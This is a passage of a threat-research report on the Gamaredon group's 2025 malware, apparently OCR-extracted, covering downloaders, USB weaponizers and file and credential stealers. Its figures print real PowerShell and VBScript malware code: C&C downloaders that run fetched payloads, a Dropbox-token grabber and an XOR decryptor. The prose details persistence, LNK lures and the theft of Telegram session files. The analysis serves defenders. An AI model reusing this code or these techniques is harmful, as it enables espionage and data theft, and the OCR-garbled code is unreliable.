them, as one instance was used twice to deliver different payloads. One of the payloads was a known

believe that PteroOdd's primary purpose is to deploy Turla payloads.

PteroEffigy

Pterokffigy, which we discovered on March 5, 2025, is yet another PowerShell downloader (see Figure 11).
PowerShell payloads. PteroEffigy does not use any persistence mechanism and is executed in memory
only.

We assume that PteroEffigy was used by Gamaredon for approximately six months, and then most likely
discontinued, because we saw it for the last time on September 9%, 2025.


https://web-assets.esetstatic.com/wls/en/papers/white-papers/gamaredon-in-2024.pdf
https://telegram.org/blog/telegraph
https://www.welivesecurity.com/en/eset-research/gamaredon-x-turla-collab/
https://gofile.io/home
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"1757422321.854695"

$osInfo = Get-CimInstance Win32_OperatingSystem;

if ($osInfo.Version -notlike "1@.*") {exit}

$url_base = "https://api.gofile.io"

$global = iwr "https://gofile.io/dist/js/global.js";

$pattern = 'appdata.wt = "([*"]+)"';

$matches = [System.Text.RegularExpressions.Regex]::Matches($global.content, $pattern);
$global = $matches | ForEach-Object { $_.Groups[1l].Value };

if(!$global){$global = "4fd6sg89d7s6"};

$token = Invoke-WebRequest -UseBasicParsing -Uri "$url_base/accounts" -Method "POST";

$token =$token| ConvertFrom-Json;

$didl ="$url_base/contents/d5bbb8b9-22aa-4a8b-ae33-d6adflccl5e2?wt=$($global)&contentFilter=8page=1&pageSize=1000&
sortField=name&sortDirection=1"

$contents = Invoke-liebRequest -UseBasicParsing -Uri $didl -Headers @{ "authorization"="Bearer $($token.data.token)" };
$contents =$contents| ConvertFrom-Json;

$MachineGuid = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Cryptography").MachineGuid;
$ip_server = Resolve-DnsName $($contents.data.name)-Server 8.8.8.8 -Type A

$url = "http://$($ip_server[@].IPAddress)/index.php"

$headl ="xf-ray"

$headers = @{$headl = $MachineGuid; "Host" = $contents.data.name }

$num = @

while ($num -1t 58) {

try {
$response = iwr -Uri $url -Headers $headers -UseBasicParsing
if ($response) {
$a = $response.content;
iex $a;
¥
} catch {
Write-Host ""
¥
$num++
Start-Sleep -Seconds 30@
}
Figure 11. PteroEffigy
Capabilities

retrieved C&C server, it can download and execute up to 50 PowerShell payloads. After each individual
download attempt, it sleeps for five minutes.

Network protocol

For communication with its C&C server, PteroEffigy uses an HTTP GET request with the URI path
/index.php and with the same two notable HTTP headers as used by the previously described PteroDee:
bypass-tunnel-reminder and vreferer. In these two headers, it exfiltrates the victim’s computer name
and the volume serial number of the system drive, respectively. Instances observed after July 31, 2025 only
use the HTTP header xf-ray, in which it uploads the contents of the registry value
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid, which serves as a victim identifier.

Prior to contacting the C&C servers, some instances explicitly resolve their IP addresses by querying
Google's 8.8.8.8 nameserver.

PteroCache

PteroCache, shown in Figure 12, is a simple downloader that we discovered on July 315, 2025; it is written
in PowerShell and is deployed encapsulated in VBScript. PteroCache does not use any persistence
mechanism and is executed in memory only. We believe that Gamaredon replaced PteroDee with this
downloader.


https://gofile.io/home
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$i = @;

$domain = 'szrtrboyre.fewwef.workers.dev';
$url="https://cloudflare-dns.com/dns-query?name={@}&type=A"' -f $domain;
while ($i -1t 1)

{
$ip = (Invoke-RestMethod $url -Headers @{Accept='application/dns-json'}).Answer[-1].data;
$MachineGuid = Get-ItemPropertyValue 'HKLM:\\SOFTWARE\\Microsoft\\Cryptography' -Name MachineGuid;
$web = New-Object System.Net.WebClient;
$web.Headers.Add('x-cache', $MachineGuid);
$web.Headers.Add('Host', $domain);
$u="http://"'+$ip+'/index.php?id=" +$(Get-Random);
$u;
$resp = $web.DownloadString($u);
if($resp.Length -gt @)
{
$job = Start-Job -ScriptBlock {param($code); invoke-expression $code} -ArgumentList @(%resp);
s
sleep -Seconds 68;
$i++;
T
Figure 12. PteroCache (prettified)
Capabilities

Once a minute, PteroCache downloads and executes a PowerShell payload, which can be any of the
Gamaredon tools. Some instances we observed were able to deploy an unlimited number of payloads,
while some could deploy only up to 10 payloads.

Network protocol

For communication with its C&C server, PteroCache uses an HTTP GET request with the HTTP header x-
cache, in which it uploads the contents of the registry value
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid, which serves as a victim identifier. Prior to
contacting the C&C server, some instances explicitly resolve their IP addresses using nslookup.exe and
querying Cloudflare’'s 1.1.1.1 nameserver, or via the Cloudflare DNS-over-HTTPS service accessed via the
cloudflare-dns.com domain.

Major updates of known tools

PteroSetup

PteroSetup is an old weaponizer that Gamaredon most likely discontinued in 2021. However, on August 4,
2025, Gamaredon resurrected PteroSetup, having slightly optimized its code, and applied the latest
obfuscation techniques. It targets various software installers, and weaponizes them by packing them, with
additional malicious scripts, into SFX archives. It does not use any persistence mechanism and is executed
in memory only.

Detailed host-based artifacts associated with this tool are provided in Appendix B: Host-based artifacts
associated with PteroSetup.

Capabilities

The current version of PteroSetup embeds base64-encoded 7-Zip components — legitimate 7za.exe,

legitimate 7za.d11, and an SFX stub 7z.sfx — along with an SFX config file (see Figure 13) and a VBScript


https://web-assets.esetstatic.com/wls/en/papers/white-papers/cyberespionage-gamaredon-way.pdf
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:'8Install@tUTF-BY
unProgram="hidcon:cmd.exe ~c start ~h #TEMPx“start.exe
unProgram="hidcon:cmd.exe ~c start b “TEMPx“install_vuhs

Figure 13. The SFX config embedded in PteroSetup

On execution, PteroSetup scans USB, mapped network, and fixed drives (except for the C: drive) for files
with the .exe extension whose names contain one of the following substrings: install, setup, or cronos.
Note that the files targeted by PteroSetup are not necessarily PE files, and can be of any type, since
PteroSetup does not verify their contents, but for convenience we refer to them as installers, because
they're most likely what Gamaredon operators intended to weaponize.

For each match, PteroSetup builds a malicious SFX that bundles the original installer as start.exe and
PteroRisk as install.vbs, then replaces the original file on disk with this SFX binary. When a victim runs
the file, both the installer and PteroRisk execute. To prevent re-weaponization, it looks for the string
install.vbs in each target and skips files that contain it. Earlier versions targeted more filename
substrings; we now see a narrower set.

PteroLNK VBScript version

PteroLNK is a known Gamaredon tool that is capable of weaponizing USB and network drives. Throughout
2025, Gamaredon continued deploying and updating the second and third variants of the VBScript version
used in 2020 and 2021). The main difference between them is that the second variant weaponizes USB and
network drives, while the third variant only weaponizes USB drives.

Interestingly, the older, second variant is far more prevalent, with a 40:1 detection ratio compared to the
uses the third variant concurrently with the second variant, although the second is better maintained and
preferred.

Throughout 2025, we observed at least 79 modifications to the second variant, focusing on detection
evasion and improving lateral movement. These activities were accompanied by adding and removing
functionality on several occasions. Key developments included enhancing LNK lures and moving code
handling dead-drop operations to a separate component. Detailed host-based artifacts associated with
this tool are provided in Appendix C: Host-based artifacts associated with the second variant of the PteroLNK
VBScript version.

By contrast, throughout 2025, the third variant received far fewer updates than the second variant, with
only minor functionality changes. Detailed host-based artifacts associated with this tool are provided in
Appendix D: Host-based artifacts associated with the third variant of the PteroLNK VBScript version.

Persistence

For persistence, instances of the second variant use a combination of scheduled tasks and HKCU Run or
RunOnce keys, while the third variant uses pairs of scheduled tasks. In 2025, we observed these two pairs of
task names:

e MicrosoftEdgeUpdateTaskMachineUA and MicrosoftEdgeUpdateTaskMachineCore
e MicrosoftUpdateTaskMachineUA and MicrosoftUpdateTaskMachineCore

Capabilities

Second variant

As mentioned in the introduction for this tool, here we describe the updates related to two goals on which
Gamaredon apparently focused; for convenience, we split the analysis into two subsections: Improving LNK
lures and Separating dead-drop-related code.


https://web-assets.esetstatic.com/wls/en/papers/white-papers/gamaredon-in-2024.pdf
https://web-assets.esetstatic.com/wls/en/papers/white-papers/gamaredon-in-2024.pdf
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Improving LNK lures

The second variant of PteroLNK creates three types of malicious LNK files, each designed to lure victims
into executing them. Over the course of 2025, Gamaredon repeatedly refined how these LNK files were
generated, focusing on naming strategies and file targeting to maximize the likelihood of user interaction.
Below is a summary of each type and its final state by the end of the year:

1. LNK files with names from a hardcoded Ukrainian word list
These LNK files are named using words and phrases in the Ukrainian language, selected from a
hardcoded array. To further enhance their deceptive nature, Gamaredon appends fake extensions like
.doc or .jpeg to the base filenames before adding the .1nk extension, creating so-called double
extensions (e.g., CBY.doc. 1nk (translation: SBU) or poTo kaTyBaHHA.Jjpeg.1lnk (translation: photo of
torture)). These files display, by default, in Windows Explorer as apparently legitimate DOC or JPG files
due to the system’s default setting to hide known file extensions.

2. LNK files named after subfolders
This type of LNK file mimics the names of existing subfolders on the targeted USB or network drive. The
goal is to trick the victim into clicking on what appears to be a legitimate folder. Although this
functionality was temporarily removed in November 2025, it was later restored.

3. LNK files named after files with specific extensions
These LNK files are named after the files already present on the targeted drive, specifically those with
certain extensions. The list of targeted extensions evolved throughout the year, however, this type of
LNK file was ultimately discontinued when Gamaredon removed the functionality from the dropper in
late 2025.

Separating dead-drop-related code

On May 9t, 2025, we observed that the code that handles the process of acquiring C&C servers from
dead-drop resolvers and resolving C&C IP addresses was moved from the downloader to two new,
separate components. These are stored in two separate alternate data streams (ADSes), named URLS and
IPS, associated with the file JUSERPROFILE%\boot.ini. The two components are installed alongside the
LNK dropper and downloader components, which are stored in the LNK and SRV ADSes, associated with the
same file.

The URLS component attempts to retrieve C&C server data from Telegra.ph and a fallback Telegram
channel, saving the results in ¥USERPROFILE%\boot.ini:URL and HKCU\Console\URL.

The IPS component attempts to retrieve C&C IP addresses using a hardcoded Telegram channel, the
check-host.net service, or the system DNS, storing results in USERPROFILE%\boot.ini:IP and
HKCU\Console\IP.

Some functionality for obtaining C&C servers remained in the downloader component, which could still

methods if the new components failed.

To our great surprise, on May 239, 2025, Gamaredon rolled back this elaborate update, reintegrating the
dead-drop-related code into the downloader.

Nearly four months later, on September 12t, 2025, Gamaredon once again separated the part of
PteroLNK's code that retrieves C&C servers from dead-drop and web DNS resolvers, but this time into a
single component, instead of two. Successfully acquired C&C servers are passed to the downloader
component via the following alternate data streams:

e JUSERPROFILE%\boot.ini:IpURL

e %USERPROFILE%\boot.ini:CloudURL

e JUSERPROFILE%\boot.ini:URLTeletype

e JUSERPROFILE%\boot.ini:WindowsDetect

e JUSERPROFILE%\boot.ini:URLTelegra

e %USERPROFILE%\boot.ini:WindowsTelegra

This particular modification remained present in PteroLNK throughout 2025.


https://teletype.in/about
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Third variant

we've now named PteroQuark. On February 10™, 2025, PteroQuark was updated with these key changes:

e The tokens that it expects in downloaded base64-encoded payloads changed from ?? to ))).
e PteroQuark’s C&C config is stored in alternate data streams instead of in registry values. It uses

randomly named streams (e.g., couplebdc, distributeeKv) associated with
%APPDATA%\Microsoft.NET\desktop.ini.

From February 215, 2025 onward, the C&C configuration has been stored in regular text files (instead of
alternate data streams) within benign-looking %APPDATA% directories (e.g., WindowsPowerShell or
Microsoft.NET). Filenames evolved from fixed names (desktopc.ini and desktopt.ini) to other fixed
names (desktoph and desktopr), and eventually to random filenames (e.g., pairstEUv and colourz5B).

On August 26™, 2025, Gamaredon updated the LNK dropper component of the third variant. Previously, it
created multiple LNK files on targeted USB drives with names based on root subdirectories. After the
update, it generates only one LNK file per USB drive, named after a randomly chosen subdirectory from the
Desktop directory. If no subdirectories are found, it picks a random filename from the hardcoded list of
strings shown in Figure 14. The strings are in Ukrainian and their corresponding machine translations are:
for official use, Arrival, Departure, PHOTO, Acts, ZhBD, Reports 2025, UAV, New folder (2), New folder,
SZCh, and secretly. Note that the list is the same in all instances that we have observed.

Dim emotionsTJA(11)

emotionsTJA(@) = “ana cnyxboBoro KopucTyBaHHA"
emotionsTJA(L1l) = "NpubyTtTa"

emotionsTJA(2) = "BubyTtTs"

emotionsTJA(3) = “0OTO"

emotionsTJA(4) = ™“AkTu"

emotionsTJA(5) = KB4

emotionsTJA(6) = “"donoBipi 2025"
emotionsTJA(7) = “BnJIA™

emotionsTJA(8) = “HoBa nmanka (2)"
emotionsTJA(9) = “HoBa nmanka™
emotionsTJA(1e) = "C34"
emotionsTJA(11l) = "TaemHo"

Figure 14. The hardcoded list of filenames
Network protocol

Second variant

downloader component. PteroSand uses HTTP GET or POST requests for communication with C&C servers
and dead-drop resolvers.

Third variant

This PteroLNK variant employs PteroQuark as its downloader component. PteroQuark uses HTTP GET
requests for dead-drop resolvers and HTTP POST requests for C&C communications. Early versions used V-
Agent and I-Agent HTTP headers to exfiltrate the victim's computer name and system drive serial number.
Instances observed after July 315t, 2025 only use the HTTP header Accept-Mode in which they upload the
contents of the registry value HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid, which serves as a
victim identifier.

PteroPSLoad

PteroPSLoad, written in PowerShell, is a known Gamaredon downloader that has been in use since 2021. In
the first few months of 2025, Gamaredon continued using the api.php version of PteroPSLoad, which we
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updates until March 23, 2025, when it was replaced with a new version.

Two days later, 2025, we discovered this updated version, now featuring additional obfuscation and an
empty URI path in HTTP requests. Lacking a unique URI, on which we based our naming of all the previous
versions, we named it version 13, as it's the 13th version we've tracked. On July 11, 2025, significant
updates were made to version 13, enhancing its installation process and obfuscation, which also affected
its persistence mechanismes.

Detailed host-based artifacts associated with this tool are provided in Appendix E. Host-based artifacts
associated with PteroPSLoad.

Capabilities

PteroPSLoad version 13 has two obfuscation layers. The first layer contains a base64-encoded string with
the six non-base64 characters :, -, *, %, !, and ? inserted at random positions; those characters are
removed before decoding. It then executes the second layer via Invoke-Expression. The second layer
clears all registry values under HKCU\Cursors (probably to remove previous instances) and stores
PteroPSLoad in randomly named, base64-encoded registry values under the same key. Two registry values
also added under the same key contain something else: one stores PteroPSLoad's C&C server (in cleartext),
and the other is designated for a loader of PteroPSLoad, which base64 decodes the initial PteroPSLoad
code block and executes it.

Gamaredon enhanced PteroPSLoad by adding fallback methods for retrieving and contacting C&C servers.
When run for the first time, it retrieves the C&C server from the registry (set by the second layer) and then
deletes that value. On subsequent runs, it uses alternative methods to obtain the C&C server, as described
in the Network protocol section.

On July T1th, 2025, Gamaredon updated PteroPSLoad's obfuscation. Previously, all functions were stored in
registry values under HKCU\Cursors. Now, they reside in multiple alternate data streams (ADSes) of
randomly named, hidden files without extensions. These files, created during installation, are stored in the
%USERPROFILE%\%USERNAMEY% directory, with each ADS matching the random name of its associated file
(e.g., yfmWHuz2elcuam5svdzFrJh]:yfmWHuz2elcuam5svdzFrih3).

Persistence

PteroPSLoad maintains persistence by creating a scheduled task that, every three minutes, runs a small
PowerShell loader from a random registry value under HKCU\Cursors. This loader executes the initial part
of PteroPSLoad stored in the registry, with additional parts loaded as needed. On March 31%t, 2025, an extra
persistence method was added, and besides a scheduled task, PteroPSLoad also sets the registry value
UserInitMprLogonScript under HKCU\Environment to execute itself on user login. Since the update on
July 11, 2025, PteroPSLoad uses a scheduled task, which is triggered once an hour, and an entry named
%COMPUTERNAME%a [sic] under the HKCU Run key. Both methods run a PowerShell loader, which is stored as
a base64-encoded string under HKCU\EUDC, to read the main function of PteroPSLoad from one of the
ADSes, and execute it; then, as needed, other functions are loaded by PteroPSLoad from the ADSes.

Network protocol

PteroPSLoad employs three different methods for acquiring and contacting C&C servers. First, it checks a
hardcoded URL of a Telegra.ph post by Gamaredon operators. If unsuccessful, it queries the DNS TXT
record of a hardcoded domain via whatsmydns.net. As a fallback, it attempts to retrieve the C&C server

Subsequently, when downloading a payload, PteroPSLoad first contacts the retrieved C&C server. If
unavailable, it directly connects to the hardcoded domain used for DNS resolution or, as a final fallback, to
another hardcoded domain registered via the dynamic DNS service zapto.org. After the update on July 11,
2025, PteroPSLoad retrieves a fresh C&C server from one of three dead-drop resolvers: Rentry, Write.as, or
Telegra.ph.

For communication with its C&C server, PteroPSLoad uses HTTP POST requests.
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PteroBox

PteroBox is a known Gamaredon file stealer that we discovered at the end of 2024, and detailed in our
utility to exfiltrate files to Dropbox; therefore, we named it the rclone variant. The API variant, as we now
call the original variant, has been updated a few times throughout 2025, and both variants have been used
concurrently.

Detailed host-based artifacts associated with this tool are provided in Appendix F. Host-based artifacts
associated with PteroBox.

Persistence

For persistence, early API variant instances used to drop a LNK file (¥COMPUTERNAME%. 1nk) to the Startup
directory, as well as create a scheduled task triggered every three hours. However, on March 6%, 2025, the
LNK-dropping code was removed and from then on, persistence is ensured solely through scheduled tasks.
Tasks created by PteroBox instances deployed before October 29, 2025 directly executed a PowerShell
loader stored in HKCU\Keyboard Layout\update. Since then, PteroBox has used an additional VBScript
wrapper dropped to %LOCALAPPDATA%\info.vbs that runs the PowerShell loader.

Scheduled tasks used for persistence may be named dropbox, %COMPUTERNAME%, %COMPUTERNAME%_1, or a
BIOS manufacturer/serial number retrieved via the following PowerShell methods:

e (Get-WmiObject Win32_Bios).Manufacturer

e (Get-WmiObject Win32_Bios).SerialNumber

Capabilities

API variant

On February 12t, 2025, we encountered for the first time a simplified API variant that lacks any
persistence, and searches for files to exfiltrate in only two directories (¥USERPROFILE%\Desktop and
%USERPROFILE%\OneDrive). In total, we observed seven such instances. The last one we found was also
missing the functionality for stealing files from USB drives.

Four days later, the API variant was updated to:

e add a new exclusion pattern, *\thumbs\*, to the list of rules used to filter out file paths,
o create the log file with hashes of exfiltrated files in USERPROFILE% instead of
%USERPROFILE%\Documents, and

e obtain the Dropbox API token needed for exfiltration from Telegra.ph instead of Write.as.

The most recent notable update of this variant, on May 14t, 2025, introduced a new primary method for

corresponding key. Then PteroBox retrieves the token using the REST API, as shown in Figure 15. As a
fallback, PteroBox can still obtain tokens from Telegra.ph.
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function getToken(){
try{
try{
$spath = "HKCU:\Keyboard Layout";
$accountId = "[REDACTED]"
$apiToken = "[REDACTED]"
$uri = "https://api.cloudflare.com/client/v4/accounts/$accountId/storage/kv/namespaces"”
$headers = @{"Authorization" = "Bearer $apiToken";"

;"Content-Type" = "application/json"}
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers
$kvNamespaceld = $response.result.id
$uri = “"https://api.cloudflare.com/client/v4/accounts/$accountId/storage/kv/namespaces/$kvNamespaceld/values/get"
$token = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers
Ycatch {}
if ($token -match '"~sI\.u\..+$'") {
Set-ItemProperty -Path $spath -Name "key" -Value $token;
return $token
Yelseq{
$getPage = "curl https://telegra.ph/[REDACTED]" | cmd;
$pattern = "\F\ENE(L FP)H\FVENEY
$cont = $getPage -match $pattern;
if ($cont) {
$token = $cont.split("*")[3]
Set-ItemProperty -Path $spath -Name "key" -Value $token;
return $token
} else{return ""}

}
Yecatch {
return

wu,
B

¥

Figure 15. The function in PteroBox that obtains a Dropbox token (redacted)

Rclone variant

upload files to Dropbox. This variant downloads the rclone utility from a hardcoded Gamaredon C&C
server, storing it in %APPDATA%\rclone\ as rclone.exe or 1.exe. It then drops an embedded rclone
configuration file (4APPDATA%\rclone\rclone.conf) containing Dropbox credentials (client_id,
client_secret, and token). The rclone variant searches for files like the APl variant but does not target
USB drives. Selected files and their metadata are exfiltrated by launching a separate rclone process for
each file.

Unlike the API variant, this version has no persistence mechanism and runs only in memory.

PteroPSDoor

PteroPSDoor is Gamaredon's flagship file stealer, which we discovered in 2022, and the group actively used
and continued to develop it during 2025. Gamaredon used PteroPSDoor v.1000 (described in detail in our
methods and enhance obfuscation. In April 2025, we identified a new cloud-enabled variant, which we
initially called the Wasabi variant, that leverages an S3-compatible cloud storage service for file
exfiltration. For the first few months, the cloud-enabled variant was used along with the original variant,
which exfiltrates files to a Gamaredon C&C server, but then the original variant was discontinued, and only
the cloud one has remained in use.

Detailed host-based artifacts associated with this tool are provided in Appendix G. Host-based artifacts
associated with PteroPSDoor.

Persistence

For persistence, all observed instances, except for a few that don't have any persistence, use the HKCU Run
key with one of the following registry value names: USERNAME%, %USERNAME%_%USERNAME%, %USERDOMAIN%,
%COMPUTERNAME%, %COMPUTERNAME%2, Oor regName.
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Capabilities

PteroPSDoor's main goal is to search all mapped drives for files with specific extensions, and subsequently
exfiltrate such files to C&C servers or cloud storage accounts operated by Gamaredon.

On March 1%, 2025, PteroPSDoor received quite an interesting update, in which Gamaredon added several
fallback methods — probably to overcome network-based blocking.

extracts three files, and stores them at:

e %USERPROFILE%\%PROCESSOR_LEVEL%_ %PROCESSOR_REVISION%\data\geoip
e %USERPROFILE%\%PROCESSOR_LEVEL% %PROCESSOR_REVISION%\data\geoip6
o %USERPROFILE%\%PROCESSOR_LEVEL% %PROCESSOR_REVISION%\tor\tor.exe

<path>\tor.exe DataDirectory <data_dir_path> GeoIPFile <geoip_path> GeoIPv6File
<geoip6_path> AvoidDiskWrites 1 SocksPort 9050 ControlPort 9051 HashedControlPassword
<control_password>

proxy feature to send traffic through tor.exe listening on TCP port 9050. Surprisingly, it exfiltrates files to
a clearnet IP address rather than an gnion service.

Secondly, two new methods for updating C&C servers were added. PteroPSDoor uses REST APIs of
Write.as and Telegra.ph to establish channels that are used for obtaining up-to-date C&C IP addresses.
Leveraging the REST APIs, PteroPSDoor creates two Write.as and two Telegra.ph posts, and uploads the
access tokens for editing these posts to its C&C server. Interestingly, before uploading the tokens, it
encrypts them with an embedded RSA key, which is unique to each instance of PteroPSDoor that we have
seen. PteroPSDoor checks the posts every 30 minutes ... not to find direct C&C IP addresses, but to retrieve
URLs of other posts containing this information. One pair of Write.as and Telegra.ph posts is used for
updating the primary C&C IP address, and the other is for retrieving the C&C IP address that is accessed via
the Tor network.

Between April and December 2025, we observed that the cloud-enabled variant of PteroPSDoor, version
1000, started to use three different S3-compatible cloud storage services for file exfiltration. Initially, it

fra.i3storage.com. Although Wasabi and Tebi remain as fallback options in the code, no samples since
August have been configured to use Wasabi.

The cloud-enabled variant of PteroPSDoor uses dead-drop services to retrieve S3 configurations. Initially, it

three services were reinstated. These dead-drop services are used to periodically update the S3
configuration, including access tokens, bucket names, regions, and other parameters.

Throughout 2025, PteroPSDoor underwent several updates. Its installation location changed multiple
times, moving from HKCU\Software to HKCU\Abstractions, then to HKCU\AppEvents, and finally to
HKCU\Printers in October. Starting with the October update, PteroPSDoor began encrypting its code
(stored in random registry values) using an XOR cipher in addition to base64 encoding.

The file-stealing functionality was also updated. New file extensions, including .ai, .csv, .dot, .md, . odp,
.ods, .pps, .psd, .wll, .wpd, and .xps, were added to the list of targeted files, while .docx, .pptx, .vsdx,
and .x1sx were removed. Excluded paths now include those containing default, while paths containing
local, roaming, or software are no longer excluded.

Additionally, PteroPSDoor’s dedicated downloader received significant updates in October 2025. The
downloader, written in VBScript, now employs a multilayered structure with ROT13 and XOR encryption to
obfuscate its payload. The PowerShell layer attempts to download PteroPSDoor from the dead-drop
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used in these downloaders are frequently changed and are unusually long, to resist brute-force decryption
attempts.

PteroVDoor

PteroVDoor is yet another known file stealer used by Gamaredon. We discovered it in 2022, provided a

been used by Gamaredon throughout the whole of 2025; similar to PteroPSDoor, it has been updated
several times, introducing support for exfiltration to cloud storage and an expanded list of targeted file
extensions.

Detailed host-based artifacts associated with this tool are provided in Appendix H. Host-based artifacts
associated with PteroVDoor.

Capabilities

On May 31°t, 2025, PteroVDoor's exfiltration functionality was updated — similar to that in the variant of
PteroPSDoor - to use S3-compatible Wasabi cloud storage as its primary exfiltration method. But unlike
PteroPSDoor, PteroVDoor could rely on a fallback method — a regular Gamaredon C&C server — right after
this update. Another difference compared to PteroPSDoor is that PteroVDoor lacks a mechanism to
update its S3 configuration. PteroVDoor's primary exfiltration method was updated twice more in 2025: on
September 1%, it switched to Tebi cloud storage, and on December 5%, it transitioned to Intercolo’s S3-
compatible storage with the endpoint de-fra.i3storage.com. While the Tebi update came two weeks
after PteroPSDoor’s switch, the Intercolo update happened simultaneously for both tools. Notably,
PteroVDoor only uses a Gamaredon C&C server as a fallback and does not rely on alternative cloud
storage. The December 5 update also expanded PteroVDoor's targeted file extensions, adding .tmp and
.csv to the list, making the full list: .7z, .csv, .doc, .docx, .jpeg, .jpg, .mdb, .odt, .pdf, .psi, .rar, .rtf,
.tmp, .txt, .x1ls, .x1sx, and .zip.

According to our telemetry, in February 2024, Gamaredon operators stopped deploying PteroVDoor via
dedicated downloaders, opting instead for general-purpose downloaders. However, on September 18",
2025, we noticed that Gamaredon operators returned to using a dedicated downloader, and updated it
before doing so. The reworked downloader fetches a hex-encoded, encrypted payload from one of the
hardcoded URLs at the paste services nopaste.net (nopaste.net) and Paste.ee (pastee.dev), stores the
payload in a randomly named ADS attached to a randomly named file in USERPROFILE%, creates a
decryptor with the ADS path embedded, and drops it as a random file in USERPROFILE%. When run, the
decryptor reads the payload from the ADS, decodes and then decrypts it using a common XOR cipher with
a long, hardcoded key, and subsequently executes the payload; see Figure 16. Note that, as in the case of
PteroPSDoor’s dedicated downloader, this hardcoded XOR key is long and changes frequently.
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oowspaceSzG = "C:\Users\Administrator\oIbnewFOs:sWFintelligencelMF"
function hyBreservationgxG(uAmportionJRA, ZTovillageifa)
on error resume next
if Len(ZTovillageifa) = © then ZTovillageifa = " "
hQXaccountiAN = Len(ZTovillageifa)
JalLfrontXxVv = ""

for rgUcutCdA = 1 to Len(uAmportion]RA) step 2
0JbpushoKL = Mid(uAmportionJRA, rgUcutCdA, 2)
kFFcommissionllr = CInt("&H" & OJbpushoKL)
QRiawarenessFRS = Mid(ZTovillageifa, (( (rgUcutCdA\2) ) Mod hQXaccountiAN) + 1, 1)
sPUcastZXu = Asc(QRiawarenessFRS)
JaLfrontXxV = JaLfrontxXxV & Chr(kFFcommissionllr Xor sPUcastZXu)
next

hyBreservationgxG = JalLfrontXxV
end function
on error resume next
Set J1CnewpNI = CreateObject("Scripting.FileSystemObject")
Set PPzinteractionTMi = J1CnewpNI.OpenTextFile(oowspaceSzG, 1)
saktoneTxb = PPzinteractionTMi.ReadAll()
PPzinteractionTMi.Close
YSNregisterxUj =
"IBpUjnP8hZ1KEyQyoEEzWtrYaxXZTVDO2MfevKsCIOCioLZhI7NG9XNN]02ZeWLS0s 2kGRQrS8WUSSX@0qn7Z37AdE
kNdbeneRZ68x3erPFnXWXiuzmKeZlwuwhAgjatUGUQ9ZCRzZGaUhoe®gBFt1s11F35ISFovtY4ed4IYIneH"
tKegiftQMm = YSNregisterxuUj
IpNatmospherelpd = hyBreservationgxG(saktoneTxb, tKegiftQMm)
IpNatmosphereIpd = Left(IpNatmosphereIpd, Len(IpNatmosphereIpd) - 1)
eval(execute(IpNatmosphereIpd))

Figure 16. An example of a PteroVDoor decryptor

Persistence

PteroVDoor instances observed until May 315t, 2025 ensure persistence via the HKCU Run key with the
registry value named GooglePhone.

The instances observed between May 31°t, 2025 and September 18, 2025 don't use any persistence
mechanisms.

And the instances observed after September 18, 2025 are persisted via the PteroVDoor decryptor, which
loads them from ADSes. The decryptor itself uses two persistence mechanisms: the HKCU Run key with a
random English word as a registry value name (e.g., significant, satisfaction, clock), and a scheduled
task with a random name that periodically executes the decryptor once an hour.

PteroScout

PteroScout, which we discovered in 2023, is a known Gamaredon reconnaissance tool written in

noticed a few changes in obfuscation and delivery: a dedicated downloader previously delivered
PteroScout as a cleartext PowerShell script with mostly sequential code; now, general-purpose
downloaders deliver a base64-encoded payload in a VBScript wrapper, and PteroScout splits its unchanged
functionality into many functions with randomized order. On December 26™, 2025, we noticed that
PteroScout was rewritten in VBScript, with slight differences. It no longer captures and exfiltrates

the difficulty of taking screenshots in VBScript. Additionally, the VBScript version is more verbose when
preparing system information for exfiltration (see Figure 17), as PowerShell includes field names directly in
the output of the systeminfo command.

Throughout 2025, Gamaredon used the PowerShell and VBScript versions concurrently.
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function mxXTajFKh
on error resume next
DFznBKPK = ""
set wmXLoPfM = cfZrGdvg

set yVmSWLc = zMfdAOyI(wmXLoPfM, "SELECT * FROM Win32_OperatingSystem")
for each cbjItem in yVmSWLc

DFznBKPK = DFznBKPK + "0S Name: " + objItem.Caption + vbCrLf

DFznBKPK = DFznBKPK + "0S Version: " + objItem.Version + " Build " + objItem.BuildNumber + vbCrLf

DFznBKPK = DFznBKPK + "Registered Organization: " + objItem.Organization + vbCrLf

DFznBKPK = DFznBKPK + "Product ID: " + objItem.SerialNumber + vbCrLf

DFznBKPK = DFznBKPK + "Original Install Date: " + objItem.InstallDate + vbCrlLf

DFznBKPK = DFznBKPK + "System Boot Time: " + objItem.lastBootUpTime + vbCrLf

DFznBKPK = DFznBKPK + "Windows Directory: " + objItem.WindowsDirectory + vbCrLf

DFznBKPK = DFznBKPK + "Total Physical Memory: " + FormatNumber(objItem.TotalVisibleMemorySize / 1824, ©) + " MB" + vbCrLf

DFznBKPK = DFznBKPK + "Available Physical Memory: " + FormatNumber(objItem.FreePhysicalMemory / 1024, @) + " MB" + vbCrLf
next

mXTajFKh = DFznBKPK
end function

Figure 17. PteroScout's function for acquiring system information (VBScript version)

Network protocol

PteroScout uses an HTTP POST request with the URI path /info to exfiltrate information about a
compromised system to its C&C server.

PteroSteal

PteroSteal is a known Gamaredon credential stealer, written in PowerShell, that we saw for the first time

from Firefox, Chrome, Opera, and Microsoft Edge web browsers. On June 24, 2025, Gamaredon added
obfuscation - randomized function order and names — similar to PteroScout — and slightly expanded
functionality by also targeting the Chromium-based Brave browser.

Network protocol

PteroSteal uses HTTP POST requests with the URI path /data to exfiltrate base64-encoded files
containing credentials to its C&C server.

PteroGram

PteroGram is a known Gamaredon infostealer, written in PowerShell, that we discovered in 2023, and

active sessions. ESET telemetry shows PteroGram is deployed very sporadically. So far, we have only seen
one instance in 2023, one in 2024, and two in 2025. The core functionality of the two PteroGram instances
observed in 2025 has been optimized and light obfuscation has been added, similar to PteroScout and
PteroSteal.

Capabilities

Older PteroGram instances exfiltrate many Telegram Desktop-related files that are not necessary for

Also, these instances exfiltrate each file individually. On August 15t, 2025, PteroGram’s core functionality
was optimized to reduce network bandwidth usage, and in doing so, has perhaps been made stealthier.
The updated PteroGram instances now grab only session-critical artifacts and pack them together into a
ZIP archive before upload to the C&C server. The targeted files include:

o all files in the directory %APPDATA%\Telegram Desktop\tdata\D877F783D5D3EF8C,

e J%APPDATA%\Telegram Desktop\tdata\D877F783D5D3EF8Cs, and

o %APPDATA%\Telegram Desktop\tdata\key_datas.

Network protocol

